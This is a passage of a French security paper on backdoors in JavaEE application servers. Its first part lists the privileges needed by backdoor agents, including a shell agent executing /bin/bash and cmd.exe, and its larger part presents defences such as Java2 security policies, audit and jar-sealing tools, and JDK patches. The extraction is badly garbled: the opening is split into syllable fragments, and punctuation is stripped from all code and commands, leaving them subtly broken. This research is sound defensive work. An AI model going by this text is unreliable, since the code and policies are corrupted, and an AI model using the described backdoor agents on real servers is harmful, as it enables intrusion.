$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

